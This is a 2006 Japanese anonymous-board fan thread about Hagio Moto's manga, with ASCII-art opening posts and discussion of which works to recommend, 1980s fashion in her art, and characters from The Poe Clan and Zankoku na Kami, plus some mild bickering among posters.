06/07/17 23:32:48 0
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4:花と名無しさん
06/07/17 23:33:19 0
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5:花と名無しさん
06/07/17 23:33:34 0
_ -ー--―- .._
ﾉ´ ヽ
〃 `ｰく
, '´ ＼
/ /, ヽ､ ヽ
i 、 （ ｀､ヽ }ﾘ il
（jり ﾉ , ヽ ヽﾉ Y' , ﾘ
ノ ／ , ｲ ､、 }li ｉl ! ﾘ }(（,ｲ
〃 , / { {{ r（_ノﾉ ノ人_ノﾉ〃_,ｲﾘ｀ }!
t {､ い.ヽ.__ﾄこ._'⌒ｰ-,r_ニ.´＾tﾌ,.イt 彳
/〃 {{下､.‐'フfrrﾍ` i '{㌣ﾀk {{ ヽ',.イ
いヽ_ﾊ. い〝ヾ:ｪﾀ. l ＾'宀'´ !ﾗく小{
｀爪_ ゝくﾍ ´＾ | ,ﾊ.ノノﾉ
｀`ヽ._ゝヘﾞ､ _´_ /､（し´
｀いr､＼ ´ー ｀ ,.ｲゝｰ'´
ゞ-ｸ{ ｀丶 .__ _,／l!ﾄ､
／:::l ＼ / l:::ヽ
,.イ::::::::::! /r:く_ l::::::l｀ｰ- ._
_,.-'´:::::|::::::::::::!_,.-‐''_}::{_￣｀ヽ:::!::::::::::::｀ヽ､
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!:::::::::::::::::!::::::::::::ヽ::::::::!_::ﾄ､ ｀ ,l:::l:|:::::::/::::::::ｌ/::::::::::::|
6:花と名無しさん
06/07/17 23:33:48 0
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∨l:li'::l::i r 冫r‐''´ ニー- .._ ´ノ'ノ
Ｙl:!l:l::ｌ { {{ｲ ヽ´{「ft;ﾘ` ,ｒ≠７
､!l:l::.い、ヽ ＾ ｰ-' i{ﾋﾀ7
ヽ-.ヽ_） |｀ /
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':::::::::::::::::/／::::ヽ:::::::｀７｀ヽ〈. |::::l |:::l:｀:7:::::!:::::::::t
i::::::::::::::::〃::::::::::::::::::::::/:::::::::::ヽ!::::| !:::l:::i::::::!:::::/::::ヽ,、
!::::::::::::::::::::::::::::::::::t:::::ヽ::::::::::::::|:::::l |::::!:!::::l:::/::￣´:::::ヽ
!:::::::::::::::::::::::::::´￣{::::::::::＼:::::::!:::::l ,|::::,!::::j/:::::::::::::::::::￣ヽ
7:花と名無しさん
06/07/17 23:34:01 0
,. ‐'"´￣ ー- .
, ‐ ' ＿ ヽ ._
/ rく'´ ヽ ｀ｰ ､
/ / ﾉ } ﾉ ヽ
､_ノ ! ／ , ' } i }
〃 ﾉ / '´ ノ ﾉ ﾉ j } リ ト
{ ,/ {/ . '´ ／ ／ ,〃 / ｲ! ,ハ
､ｲ{ 人. / , '´ ,∠__, -' /／ノ〃 }
} ヾ_ﾄ､ { /{ /,.=､7 ／ ,r_⌒/ _,ノ
ヽ. {､_） ゝ{ ﾊ_ 小tツ{,.ｲし i{t;ﾘ７ (
）ヽｰr{ ｀7 ｀ ＾｀ ｀ |｀＾ !ノ＾
｀ｰr ヽ.）,ｲし' ,! /
!{ l ＾ｰ'´ _＿´ /
｀｀ l ＼ ｰ‐ /
／! ｀ - .__,.ｲ
/ ,l ﾉ ヽ _,,. ､
_,. / ! ! / }ー ‐''7-‐' ｀ヽ
__,.-'´:.:,' {｜ / _＿ !:.:.:.:./｀ｰ‐' ',
´ ,!:.:.:.:.:/ ､ ／/ ./ /:ヽ l:.:.:./ i
／!:.:.:.:/ ,.イ⌒ヽﾞ､ /.／／./:.:.:.:.丶!:./ ! !
|:.:..／:.:.:.| _,.--､ヽ'-‐'-､/:.:.:.:.:.:.:.:.｀:!｜ |
!:.:.:.:.:.:_,.-':,r'⌒}_::}､‐-､::冫:.:.:.:.:.:.:.:.:| l l
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/,!:.:.:.:.:.:.:.:.:/:::/ /::::! ,':.:.:.:.:.:.:.:.:.:.:.:.:!l. ／/ |
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./ l:.:.:.:.:./:::/ヽ/:::://:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:ヽ ' l
8:花と名無しさん
06/07/17 23:34:17 0
,.-‐＝ー-－､
, -{〃´r ｀ヽ. 丶
/, ｲ い ｰ-､ ｀､
ﾉ ゝ ｀下ヽい j ぃ.ヽ
〃 い ぃ_ノ八ｰ' ､_,小 ヽ.い
八ゝｨ（､_冫ィrくﾍ(__,〃 ﾐヽYﾘ
{ ゝいﾝ‐-廴いゝン-いゝ川 {
｝Ｙハ 涎㌻ヾ代愆ｼ｀〉Yｨ'リ
ヾゝい j / ﾉﾘ´
｀込 __,,__ /ｲ＾′, -＜¨¨ ‐､
r㍉､ ￣ イ^´ ／ ＼
}ﾆヽ.｀¨´〆´{ / ﾊ
ノ廷込Y'{rI巧∨ r _ ',
, -‐､ -‐'´ ￣`ゝ孑乍ミ７ ﾉ⌒ ヽ {. i
〃ｼ/兮､ _／匁/}ドＩ父ｆ （､ノ_,∠._ __い､_ノ |
／乏yiⅣrfﾍ ヽゞﾀ/'ﾉ}!t},ﾈ{ 小 r符ﾐ ' r符ﾐtり} |
／'爻〃 ﾘ' }j'りﾊ. Ｖイﾀ{{ｶt,ハ{ {ぃ ＾¨´ 丨 ｀¨＾ rﾗ′!
／〃朮/ｘ〃ｫﾘ〕}ﾙiﾍ. 丨ﾎ;!}价} いヾ､ ' ,｛（.ノ/
／ッ厶 ﾙ'衣/ゞ/仞{刔ハ !仔}.{弁{ / 弋ﾀ＼｀￣´ ｲ心.／
'^＾＾/ ty'r片/r_/ｒ〃えl爿ﾍ.ｌ込{ }戈j./ /´`フ'| ｀ ｰ ´ {ﾍ‐'＾ヽ
. / ん幺ｲ7方ｿ,!余;朷j ｔj|爻} {父j′ ／ ﾍ ／ ＼ ヽ
' ⌒´丨伐ﾙくj弐ﾈくﾘ,{f|戈{i }_込_イ戈ぇ癸,ゝにユｔュ.--―‐､
/ 亅ゝ'´ｌ ｝iゞlゞ｛小!tゞ'卞冖示ﾃ＝会ﾃ示冖'j|｢￣｀
/ ! l {爻j〃｝jtぐく必込X述ｼx伐ゞム圦.v!
' |ｉ | ヽハ爿刈ﾈYﾍ弐ｿﾊ.Xｲ夾㌢c＾込７
/ l ! l ⅵt｛r{/｀込ぃ.來ネ㌢ | ｀７
/ 丨| i t予/ ヾ沙宀' l /
亅l l ｀ｧ′ ／ !. ! /
､ j ! ! ／ ／ | i c⌒ヽ!
ハ / | ! ／
{ ヽ ／ ￤
9:花と名無しさん
06/07/17 23:40:17 0
１さん、スレ立てお疲れさまです。
10:花と名無しさん
06/07/17 23:55:14 0
1さん乙！
すばらしいＡＡです。
11:花と名無しさん
06/07/18 00:02:41 0
>>1乙
華麗なスレ立て、マジで乙であります
12:花と名無しさん
06/07/18 00:05:25 0
>>1乙です。
13:花と名無しさん
06/07/18 00:09:08 0
乙です
いつ見てもすばらしいAAだな
14:花と名無しさん
06/07/18 00:12:32 0
そういえばメリーベルのAAってないんだっけか？
15:花と名無しさん
06/07/18 00:43:47 0
1さん乙
16:花と名無しさん
06/07/18 00:46:38 0
>>1
素早いスレ立て、前スレへの誘導、お疲れ様です
17:花と名無しさん
06/07/18 09:40:32 O
URLﾘﾝｸ(www8.oekakibbs.com)
萩尾望都
18:花と名無しさん
06/07/18 15:44:39 0
前スレ1000、ＧＪ！
1000 花と名無しさん sage New! 2006/07/18(火) 15:10:07 ID:???0
1000ならますます萩尾望都絶好調！
19:花と名無しさん
06/07/18 21:13:19 0
１乙
マンガ好きの父や弟が最近少女漫画に歩み寄り始めたので
ポーを勧めてみたら最初の数ページで挫折したらしい・・・。
多分、薔薇とかレースとかのいかにも少女漫画な雰囲気と
複雑なコマワリと、たくさんのセリフのせい。
あと、人物や状況をいちいち説明してもらわないとわからないらしい。
短編なら・・と思って勧めてもかたくなに読まないし。
やっぱ男と少女漫画の間には深い川が流れてんだなと実感した。
ﾁﾗ裏ｽﾏﾝ
20:花と名無しさん
06/07/18 21:18:22 0
>>1乙です！
>>19
11人いる！（少女漫画の匂いのするSF）→東の地平西の永遠（少女漫画の色濃いSF）
もしくはヨーロッパ文学の香り
訪問者（「トーマの心臓の次」ではなくこれ単体で）
ゴールデンライラック
という歩み寄り方ですすめてみたらどうでしょう？
21:花と名無しさん
06/07/18 21:22:14 0
１１人いる！ はお勧めですよね。
ＳＦ小説家も、本格的だって誉めていましたよね。
ポーも、男子でも好きな人は好きみたいだけど、残念でしたー
22:花と名無しさん
06/07/18 21:28:19 0
11人いる！は当時読めば面白かったんだろうけど
SF小説、映画、などが氾濫する今読んだせいかありきたりとしか思えなかった。
バルバラやマージナルは面白かったけど。
23:花と名無しさん
06/07/18 21:48:19 0
時代っていうのはあるね・・・
24:花と名無しさん
06/07/18 22:24:00 0
続・・・もいいですよね
25:花と名無しさん
06/07/18 23:14:34 0
>>19
いきなりポーは敷居が高いよ…女だけどいかにもな少女漫画はちょっと
苦手な私も萩尾作品何作か読んでからやっと読めたし
26:花と名無しさん
06/07/18 23:31:46 0
「ケーキケーキケーキ」なんてどう？
スポコン風ではないですか？
27:花と名無しさん
06/07/19 00:03:48 0
絵が古臭いのがあれだけど、王道だしいいかもね。
イグアナの娘の文庫に入ってる短編は読みやすそうだとおも。
28:19
06/07/19 00:18:14 0
レスサンクスです
１１人～は弟２（>>１９とは別の弟）が「まあまあおもしろかった」と言ってました。
短編・読みやすいを基準に選んだ、訪問者・半神・イグアナを
弟らの部屋にそっと置いておきましたが、
先ほどさらにマージナル・ゴールデン・ケーキ投入してきました。
そもそも弟が「『奥様は１８才』はなんとか読んだけどｗｗポーは無理ｗｗ」
なんて言いやがって、なんか色々許せないから、ムキになってるけど
無理に読ませるｷﾓｦﾀもアレなので、これでダメならあきらめます。
ありがとう（･∀･)
URLﾘﾝｸ(blog.livedoor.jp)
半神！
29:花と名無しさん
06/07/19 22:14:56 0
男の人が読むなら案外「あぶない丘の家」とかどうでしょう。
「メッシュ」もいいかも。
30:花と名無しさん
06/07/20 03:11:15 0
危ない丘の家はいいね。
男性向けなら感謝知らずの男や
イグアナの娘に収録されてる作品
カタルシス、学校に行ける薬（うろ覚え）
も結構いいと思う。
31:花と名無しさん
06/07/20 05:57:17 0
×行ける
○行く
だったかな
エッグスタンドとかマリーンのようなラストがウ…なヤツはいかがでしょう
このウ…は宇宙船のウでは…
32:花と名無しさん
06/07/20 06:19:09 0
>>30-31
『学校へ行くクスリ』ね。
レヴィ・シリーズでは『感謝知らずの男』も面白かったけど、
『狂おしい月星』にジーンときてしまった。
33:花と名無しさん
06/07/20 17:27:40 0
レヴィ・シリーズって『感謝知らずの男』以外に何かあるんですか？
34:花と名無しさん
06/07/20 18:17:18 0
学校へ行くクスリあたりのファッションが受け付けない。
いやこれは萩尾さんのせいじゃない、
流行のせいだ。
80年代は世界中こんな格好してたんだきっと。
マイコーだって昔の映像で肩パッドでもんぺみたいなズボンだったじゃないか。
と思いつつもダメだ。
あと、大学生の女の子が睡眠薬を海辺で飲んで助けられて、
助けた男が大学の新しい講師だとかいう話のファッションも・・・
35:花と名無しさん
06/07/20 18:54:54 0
>>34
あと10年もすればファッションなんてどうでもよく読めるようになるよ
36:花と名無しさん
06/07/20 19:11:25 0
>>34
70年代作品のファッションはそれなりにスルーできるでしょ？
そんなもんですよ
ところで残神のナディアのファッションは、たとえばマージョリーのマイルールなファッション
（作中でも奇異だと思われているのはイアンの「かわいいね、お人形みたいだ」（だっけ？）
という台詞でわかる）よりよっぽど奇抜だと思うんだよね私…
マージョリーのお人形さんファッション、あれは彼女の無意識な「私はママのお人形」と
いうことだったのかもなーって穿ちすぎ？
仮死から生還して以降、ファッション傾向が変わった気がするんだ
37:花と名無しさん
06/07/20 19:25:33 0
>>33
レヴィ・シリーズ
『感謝知らずの男』、『オオカミと三匹の子ブタ』、『狂おしい月星』。
38:花と名無しさん
06/07/20 19:45:07 0
>>36
ナディアっていうともっさりした服や格好してた記憶しかない。
真夏の夜の夢の髪の毛に花からめてるの可愛かった。
てかあの姉妹はすっぴんなんですかね
すっぴんであんだけ美人とか羨ましい
39:花と名無しさん
06/07/20 20:25:10 0
ナディアってそんなにもっさりしてたかな？
マージョたんのガーリー＋ロリータは
後ろ姿を見てメリーベルと間違えたエドガーに
連れてかれやしないかと思ったw
40:花と名無しさん
06/07/20 20:36:15 0
イギリスってあまりおしゃれしないよね。
なんか垢抜けないもっさりした人が多かったような。
フランス行ったらオサレさんが多かったけど。
41:花と名無しさん
06/07/20 20:42:04 0
>>33
あと、脇役だけど「ローマへの道」「ジュリエットの恋人」にも
出てるね（「海賊と姫君」はどうだったっけ…？）。
もともと「ローマ」で重要な脇役として登場させたらキャラが
膨らんだので、主人公にして描いてみたのが「感謝知らず～」の
シリーズだったそうだから。
42:花と名無しさん
06/07/20 21:05:28 0
>34
個人的にたいして興味ないせいだろうけど、
創作物内のファッションなんて気にしたことないなー。
時代や土地柄によって変わるのなんて、当ったり前のことだし。
んなこと言ってたら、
古い漫画や映画は全然楽しめないじゃんか。気楽にやれば？
43:花と名無しさん
06/07/20 21:20:42 0
いっそのことロココ時代とかいっちゃうといいんだろうけど
80年代って、無駄に近いからね…
44:花と名無しさん
06/07/20 21:45:55 0
エドガーのタータンチェックのスーツかっこいい。
45:花と名無しさん
06/07/20 22:43:34 O
エディスの時のアランの服、
それまでのぴらぴらは全然大丈夫だったんだけど
なんだこの服ｗｗｗて思ったな。
エドガーは結構普通（？）にかっこいいの着てたのに。
当方アラン好きですけどね
46:花と名無しさん
06/07/20 22:47:19 O
ナディアは白いYシャツとそれをパンツの中に入れたサバサバとしたファッションが似合うと思う。
髪も高くポニーテルに結ってシンプルに。
おっとりとした性格とは裏腹にあまりスカートは似合わないと思う。
47:花と名無しさん
06/07/20 23:02:41 0
ちょっとダメめの女の子って役どころだからスカートでよかったよ。
48:花と名無しさん
06/07/20 23:08:21 0
天使の擬態とかファッションすごいもんな。
萩尾さんって神奈川の海の方を舞台にした話が目立つから
また独特に感じるのかな。ハマトラ（死語）っぽっていうか。
49:花と名無しさん
06/07/20 23:44:32 0
ＢＳで「１１人」やるね。７月３１日。
50:花と名無しさん
06/07/21 00:14:25 0
>>49
一瞬、実写のやつかと思った…
51:花と名無しさん
06/07/21 01:47:47 0
でもナディアって背も高かったし
イアンと並んで歩いていたら
長身でピュアブロンドの美男美女で
さぞや目立つカップルではあったんだろうな。
サンドラーリリアーナディアが似た雰囲気なのは
グレッグとイアンの女性の好みが似てるからなんだよね？
52:花と名無しさん
06/07/21 02:02:44 0
ナディアはバレエやらなかったのかな。
音楽家のパパに似ていて煙たがられたのかな。
53:花と名無しさん
06/07/21 02:16:03 0
幼少期からどんくさかった予感。
（いや、ナディアのキャラは好きなのよ）
54:花と名無しさん
06/07/21 02:29:36 0
バレエやってたとしてもママにマイボーイとられたとこでやめてそう
55:花と名無しさん
06/07/21 12:19:44 0
イアンってグレッグと似ているなあ ホント
56:花と名無しさん
06/07/21 16:10:23 0
クレアは美形？でもきつめな感じなので
音楽家のパパが可愛い系の美形なのかな。
57:花と名無しさん
06/07/21 16:21:28 0
>>48
>>34の下二行の話だね。
しかもあの話、偶然ペアルックで冷やかされるとかまで出てくるからもう…
萩尾さんの漫画、話は好きなのよ、話は。
58:花と名無しさん
06/07/21 17:07:14 O
萩尾のファッションは、80年代で時がストップしている。
59:花と名無しさん
06/07/21 17:18:13 0
別に「フロルいいな！あたしもそのドルチェ・ガッパーナの新作狙ってたのに！」とか
「アクア・スキュータムのシルクシャツを着たジェルミはとてもはかなげに見えた」とか
「エトロのジャケット、思い切って買ったんだ。似合う？」「わァキリヤ！」とか
そういうのがテーマのマンガじゃないんだからどうでもいいんだけど。
もちろん「キャラのファッションが許せないから萩尾作品が読めない」って言うのは
その人の自由だけど。
ここぞで決める（コードが決まってる）男のフォーマルスーツ、女のドレスが描けてるから
私は別に引っかからない。そのキャラの個性とか精神コンディションが窺えて、
萩尾作品には合ってると思うよ。おもしろ萩尾センス。
60:花と名無しさん
06/07/21 17:26:55 0
90年代以降は70年代のファッションが繰り返されてて
ちょっとした流行の違いがあったり
すごい厚底が一時期はやったりしてそういうちょっとした違いはあるけど、
（70年代にも厚底が流行ったことあるらしいし）
60年代70年代、90年代～今は似たようなファッションなのに
80年代だけ、なぜあんなにも違うんだろう。
漫画にその時その時の流行が反映されるのは
萩尾さんに限ったことじゃ勿論ないけど…
61:花と名無しさん
06/07/21 17:28:12 0
うん。現代ファッションが見たいなら「NANA」とかそういうマンガ読めば？
って感じで。
62:花と名無しさん
06/07/21 17:33:00 0
そういう話じゃないんじゃない？
63:花と名無しさん
06/07/21 17:38:13 0
やたらとファッションネタ引きずってる人多くてうんざり。
64:花と名無しさん
06/07/21 17:41:25 0
そういう時は別の話をふって流れを変えるのがいいと思います。
65:花と名無しさん
06/07/21 17:42:34 O
はいはいﾏﾝｾｰﾏﾝｾｰ
たかが特徴の一つを指摘されただけで('A`)
66:花と名無しさん
06/07/21 17:43:06 0
例えばちょっと上のほうのナディア話にレスしてみるとか
あ、ナディア話もファッションネタだ…
67:花と名無しさん
06/07/21 17:44:15 0
ほんと、前スレでも絵が苦手だって話がでたら
すごい勢いで息巻いてたもんな
萩尾儲ｳｾﾞｰ
68:花と名無しさん
06/07/21 17:45:26 0
マンセーだけしたいのなら儲サイトにひきこもってればいいのに
69:花と名無しさん
06/07/21 17:50:06 0
あら、>>59ﾀﾝいなくなっちゃった？
もう帰ってこなくていいお（ ＾ω＾）
70:花と名無しさん
06/07/21 17:50:22 0
今は80年代リバイバルなのに80年代ファッションが駄目な人って
なんでだろう？
71:花と名無しさん
06/07/21 17:50:47 0
他に叩きたいとこが無いからって無理に叩くこともないのに。
72:花と名無しさん
06/07/21 17:51:56 0
一気に出てきて猛然と叩くのはなんで？
73:花と名無しさん
06/07/21 17:53:02 0
80年代リバイバルって4年くらい前にもあったけど
おもっきしスルーされるよね
今年はやってるカチューシャも80年代リバイバル？
カチューシャは可愛くていいとおも
74:花と名無しさん
06/07/21 17:57:22 0
>>69
叩きがいようといまいとずーっと常駐してるよpgr
75:花と名無しさん
06/07/21 17:57:26 0
カチューシャっていうとタダだけど
5才の頃からしてたような。
76:花と名無しさん
06/07/21 17:58:26 0
>>73
うん。そうらしい。
小顔の最近の若い子がカチューシャしてるのかわいい。
てスレチかな。ゴメン
77:花と名無しさん
06/07/21 18:05:03 0
ファッションネタひっぱってスマソ
もう一度、数年間、80年代ファッションが流行ってくれたら
萩尾さんの80年代の作品も70年代の作品も、
てかすべての作品を、なんかもう楽しく読めそうな気がする
78:花と名無しさん
06/07/21 18:07:01 0
百億の昼と千億の夜のイエスも…ってあれは茨の冠ですがｗ
79:花と名無しさん
06/07/21 18:08:08 0
>>74
（；＾ω＾）ちょ、うざいお・・・
80:花と名無しさん
06/07/21 18:12:14 0
岡野さんのお坊さんマンガとか吉田さんの描くTシャツGパン＆学生服「以外」のファッション
などのもっとディープな例があるので萩尾さんの80年代ファッションはスルーしてました
81:花と名無しさん
06/07/21 18:14:22 0
>>79
あんたが一番しつこい。
82:花と名無しさん
06/07/21 18:17:33 O
>>71-72
2chがどんなところか分かってここにいますか？
ベタ褒めもいいけど、妙に感じることも見つけたりするのも先生の作品を客観的に見ている証拠だよ。
まぁ討論の一つだと思って軽く流せばいいんじゃない？
83:花と名無しさん
06/07/21 18:24:20 0
自分はただ、タクトとモリの話で、
最初メリメが翌朝タクトの部屋を出て行くとき
乳の真ん中の部分だけを隠すあの露出的なドレスに、なぜ
乳首が浮き出てないのかだけ知りたい。
84:花と名無しさん
06/07/21 18:28:15 0
まあ乳首も年柄年中立ってるわけじゃないので。
85:花と名無しさん
06/07/21 18:58:40 0
ファッションてーと、単純に「ママレードちゃん」が面白かったな～。
「民族衣裳が好きで世界中の資料を集めているやつもいるけど、僕は歴史に興味がある」
ってとこで、ハイウェストのドレスが出てきた時、メリーベルを思い出した。
「この娘うります！」も好き。
・・・ま、でもファッションより食い気。萩尾漫画は何たって食べ物がおいしそうだよ～ぅ♪
86:花と名無しさん
06/07/21 19:29:52 0
>>83
その話は読んでないので検討違いかもしれないが
薄手なドレスに肌色の乳あて（ブラの前だけみたいな）が付いてるのはよくあることだ
87:花と名無しさん
06/07/21 23:49:36 0
水着にもついてるアレね
88:花と名無しさん
06/07/22 00:00:59 0
ニップレスというものだってある。
89:花と名無しさん
06/07/22 00:16:01 0
萩尾さんが描くファッションが
古いとかダサイといった感想や批判はあっても構わないが
（ホントにそうなのかはファッションに疎いので判断できんけど）、
「だから萩尾作品は読めん」という話になると、
ついていけん。
よっぽど服装やファッション等にこだわりがあるんだろうけど、
「木を見て森を見ず」の典型かと。
もったいない、と思ったり。
90:花と名無しさん
06/07/22 00:18:10 0
ファッションを重要視する読み手もいるからそれは仕方ない。
特に若いと許容できないのかも。自分も厨房の頃はそうだったしな
91:花と名無しさん
06/07/22 00:23:12 0
絵やファッションが苦手だけど漫画として、話としては好きという人が多いような気がする
92:花と名無しさん
06/07/22 00:25:30 0
>>79
「ここがおかしい」と思う人間がそれを発言する権利があるように、
「私はそうは思わない」と思う人間が、それを発言する権利もある
ある話題に対して、否認派と擁護派が争うなんて、2chではよくあること
つーか当たり前のことじゃない
特にここはファンスレなんだから、擁護レスが多く付くのも当たり前
擁護レス＝儲という都合のいい単純方程式こそ、議論の邪魔になると思うけどな
レス自体が感情的だったり矛盾してあったりして辟易するなら分かるけど、
別に否認派も擁護派も普通の、むしろ真っ当だったと思いますよ
93:花と名無しさん
06/07/22 00:26:58 0
>>92
>>82
94:花と名無しさん
06/07/22 00:29:52 0
むしろ
>>82
>>92
95:花と名無しさん
06/07/22 00:30:36 0
私は80年代ファッション？っていう、
そのへんの萩尾さんの作品の服とか、
ファンシイダンスの服とか、見るの好き。
リアルで見たことないし、おもしろい。
きっと近い昔で知ってる人には古く見えるんだろうけど、
私には奇抜な舞台衣装くらいにミエルヨ。
96:花と名無しさん
06/07/22 00:32:32 0
「キャラのファッションが許せないから萩尾作品が読めない」人がいる
とか言ってるの萩尾マンセーなやつじゃん。
そんな書き込みがあったか？
だいたいは「絵やファッションは嫌いだけど話は好き」ていう書き込みじゃん。
決め付けてるのはそっちじゃん
97:花と名無しさん
06/07/22 00:33:31 0
否定派の意見も擁護派の意見も、どっちもあっていいってこと
どっちかの意見が通らなきゃいけないってことはない
だから今回は、擁護意見が付いただけでぶち切れた否定派の方が大人気ない
98:花と名無しさん
06/07/22 00:35:24 0
なんかもう、どうでもいいよ
99:花と名無しさん
06/07/22 00:37:00 8EN+HXUz0
意見内容が、ってことじゃなくて、単純に態度の問題ね
100:花と名無しさん
06/07/22 00:38:48 0
ファッションで思いだしたけど、ナースナースの服を見ると
折り紙でつくった提灯を思いだす
101:花と名無しさん
06/07/22 00:39:07 0
わかるｗｗｗｗｗｗｗｗｗｗｗｗｗ
102:花と名無しさん
06/07/22 00:42:28 0
>>100
すごい適確ｗ
103:100
06/07/22 00:43:04 0
ナースナースってなんだよorz
104:花と名無しさん
06/07/22 00:44:57 0
>>99
ageてまで言うほどのことか？
あとていてい２ちゃんでは態度よりも意見内容が尊重されます
105:花と名無しさん
06/07/22 00:50:43 0
天使の擬態のファッションを叩いていた人は
前スレにも前前スレにもいたから同じ人物なのだろうか？
ぶっちゃけ萩尾マンガのズレた服装センスなんて
もっとすごい例が他にいくらでもあるのに
なぜかいつも「天使の擬態」の「80年代センス」限定だから、
よほど個人的なトラウマ体験がにでもあんのか？とさえ思う。
106:花と名無しさん
06/07/22 00:55:37 0
>>88まではいい感じに話がずれてきてたのに…
なんでファッション話に戻すのよ…
107:花と名無しさん
06/07/22 00:56:36 0
まあいつもの人ってことで
108:花と名無しさん
06/07/22 00:57:16 0
>>104
age忘れごめんね
それから、2chでもリアルと同じように、
不遜な態度の人間は、叩かれる対象になると思うけど…
「知っているがお前の態度が気に食わない」のAAとかね
まああなたが普段どこの板にいるか分からないから、なんとも言えないね
意見内容も別に、あなたが全面的に正しいとは思わないし
ところで「ていてい」じゃなくて「たいてい」だと思うよ
109:花と名無しさん
06/07/22 00:58:38 0
だからもういいってばよー
110:花と名無しさん
06/07/22 00:59:41 0
>>105
かっこ(・∀・)ｲｲ!!と思って真似たら何それスゴー！pgrて言われたとか？
萩尾作品のムチムチキャラが、ムチムチな体を隠しもせずにニットドレスや
ミニスカに身を包んでおしゃれ楽しんでるのが好き。
柔らかフィット素材の方がいいんだよねー太めさんには
111:花と名無しさん
06/07/22 01:00:28 0
ここでぐだぐだ言っててもマンセーがいきちさん降臨中なので、
どっか他のスレ行ったほうがいいよ
112:花と名無しさん
06/07/22 01:03:43 0
討論は続いてもいいけど、煽りあいはウザいな。
113:花と名無しさん
06/07/22 01:09:28 0
前スレの残神の神って誰よとか残神の話は面白かったね…
114:花と名無しさん
06/07/22 01:12:59 0
確かに残神の話は面白かった。
どの意見も興味深く読めたし、みんなそれぞれ深く考えて、読んでいて為になった。
あれこそ討論だな。
115:花と名無しさん
06/07/22 01:51:21 0
単なる感想ですまんが、今日久々に残神の文庫３巻読み返したら
マットがけっこうサンドラに懐いてる印象受けた
でもサンドラは内心マットやな子！とか思ってるんだよね
不憫だなー マットがすくすく育ってくれてよかった
116:花と名無しさん
06/07/22 02:58:19 0
マットもけっこう辛い立場だよね。
母親が首吊り自殺した途端に生まれ、
父親には疎まれ、ナターシャを鞭打ってる所も見たらしいし、
ジェルミには拷問のようなグレッグのキスを羨んでるし
親は早くに自殺と事故で死ぬし。
兄のイアンは、なんだか知らないけど義兄のジェルミにかかりっきりだし
ナンとかと会えて楽しそうでよかったけど。
マットが将来、グレッグがジェルミに何をしたか知る時は来るのかなあ
まあ、しょせん漫画なんだけどさ。
117:花と名無しさん
06/07/22 03:01:17 0
>>116
マットは知らないままなんじゃないかな。
知らないままでいてほしい。
イアンもジェルミもあえてマットに話すことはしないんじゃないかな。
可能性としてはナターシャ経由？
118:花と名無しさん
06/07/22 03:29:15 0
子供の頃よくわからなかった事が、大人になってある日突然「あれって…」
と理解する事ってあるから、マットも悟る日が来るかも知れない。
イアンと違ってグレッグを「いい父親」とは思ってなかったしね
119:花と名無しさん
06/07/22 09:21:44 O
>>59
ブランド名間違えてるのはわざと？
120:花と名無しさん
06/07/22 13:53:47 O
>>115
いやな子って‥ｗ
そりゃまだあの年の子は家族以外の人達が入ってきたら煙たがるのが当たり前。特に母親ってなると・・・
そんなことも分からないのかサンドラは。
本当に萩尾キャラの中で上位を競うDQNだなｗｗ
121:花と名無しさん
06/07/22 14:19:18 O
>>116
じゃ、マットが卵を産むといい byジェルミ
122:花と名無しさん
06/07/22 18:10:54 0
萩尾キャラのDQN番付けしたら1位は誰かな
正統派DQNはグレッグやユーリのお婆ちゃんで
愛すべきDQNはアラン、マージョリーとかかな
（マージョリーはトラウマのある子だから愛すべきDQNなんて
言ったらちょっと不謹慎かもしれないけど・・）
123:花と名無しさん
06/07/22 18:21:41 0
つうか少年少女（とくに少年）は
美形度に比例してドキュソもレベルアップしてる気が。
アラン、エーリク、フロル、メッシュ
ブロンドDQN四天王
124:花と名無しさん
06/07/22 18:22:20 0
あ、エーリクは栗色か。
125:花と名無しさん
06/07/22 18:29:42 0
名前なんだっけ
シーラだっけ？
ポーのエドガーとメリーベルの母親役の人。
あの女の人もけっこうドキュンかと。
鏡にはうつんねーわ
医師に脈がないの気づかれるわ
おまえ、バンパネラやる気、あるのかと
126:花と名無しさん
06/07/22 18:41:14 0
＞おまえ、バンパネラやる気、あるのかと
シーラさんはやる気あってバンパネラになった訳じゃないじゃん。
誰かに嫁いでから、男爵にさらわれて妻になってバンパネラになったわけだし。
127:花と名無しさん
06/07/22 18:47:57 0
ジェルミの友達で薬中の人もけっこうドキュン。
あと、学校でジェルミに薬売ってたり、屋根から飛び降りた人とか
128:花と名無しさん
06/07/22 19:08:06 O
>>122
バカ！グレッグは純粋なだけだ‥！
ピュアな心を持った中年、それがグレッグ。
129:花と名無しさん
06/07/22 19:09:44 7UMhqNkz0
前編 後編 完結編 というのは衝撃的だった
別コミ買ったら、終わってないんだもんな
130:花と名無しさん
06/07/22 19:11:21 0
真性ＤＱＮはグレッグだが次点で八角メガネの奴かな。
131:花と名無しさん
06/07/22 19:39:45 O
グレッグの旦那はDQNなんかじゃない！！
天才を過ぎた人物の現れの例
132:花と名無しさん
06/07/22 21:26:11 0
>>126
いや、そういう問題じゃないのではw
もうなっちゃったからには真剣にやらねば、あの女のせいで台無しじゃん。
133:花と名無しさん
06/07/22 22:36:52 0
やる気ﾏﾝﾏﾝなポー、というのも妙なかんじだｗ
134:花と名無しさん
06/07/22 22:43:53 0
「別に好きでヴァンパネラになったわけじゃないのに！」
いかにもDQNの言いそうなセリフw
アランなんか20年に一回ぐらいのわりで
エドガーにそんなことを言って、そのたびにひっぱたかれてそうだ。
135:花と名無しさん
06/07/22 23:02:03 0
>>132
まったくだね。
旦那もエドガーが鏡だかガラスだかにうつってないのを
怒鳴って怒るより前に
嫁さんどうにかしろよ。
おかげでメリーベル死んじゃったじぇねえかよ
136:花と名無しさん
06/07/22 23:43:09 O
今日の流れ超おもすれｗｗｗ
137:花と名無しさん
06/07/22 23:47:07 O
知り合いに貸したポーが戻ってこない
一年ほど
つうわけで明日、本屋行ってくるorz
138:花と名無しさん
06/07/22 23:54:41 0
>>134
エドガーもいちいち傷つきやすいしね。
139:花と名無しさん
06/07/22 23:55:44 0
ユーリは八角メガネに何をされたんですか？
140:花と名無しさん
06/07/23 00:01:17 0
そういやエドガーは頭打ってパーになっても
脈があるふりは忘れてなかったな。
141:花と名無しさん
06/07/23 00:11:21 0
キングポーの血を受け継いだ時に自覚も受け継いだんじゃない？
142:花と名無しさん
06/07/23 00:16:30 0
パーになったのがメリーベルの生きていた時で良かったよな。
アランと一緒のときだったら…
143:花と名無しさん
06/07/23 00:27:21 0
パー同士…。
144:花と名無しさん
06/07/23 00:53:24 O
同士じゃなくて同志！
145:花と名無しさん
